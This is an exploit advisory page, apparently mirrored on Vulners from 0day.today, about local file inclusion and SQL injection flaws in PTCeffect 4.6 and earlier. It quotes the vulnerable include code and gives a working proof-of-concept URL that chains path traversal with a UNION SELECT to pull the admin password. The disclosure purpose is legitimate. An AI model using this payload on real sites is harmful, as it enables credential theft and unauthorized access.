Lucene search
K

PTCeffect <= 4.6 LFI & SQL Injection Vulnerabilities

🗓️ 17 Apr 2014 00:00:00Reported by oscaarType 
zdt
 zdt
🔗 0day.today👁 20 Views

LFI & SQL Injection Vulnerabilities in index.php allow inclusion of admin files and SQL query injectio

Code
The LFI vulnerability is in index.php

--------------------[index.php]--------------------

if ($input->g['view']) {
	$filename = strtolower($input->g['view']) . ".php";

[...]


include SOURCES . $filename;


--------------------[index.php]--------------------

So you can include a fil by doing ; http://[site]/index.php?view=[file]


By using the LFI, you can also include "admin files" which are especially unsecure, and let you inject SQL queries.

As the file admin/sources/edit_loginad.php


PoC ; http://[site]/index.php?view=../admin/Sources/edit_loginad&edit=-1%20union%20select%201,2,3,4,%28SELECT%20password%20FROM%20admin%29,6,7,8,9--%20-


Please visit ; http://frenchcrew.eu/

#  0day.today [2018-01-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20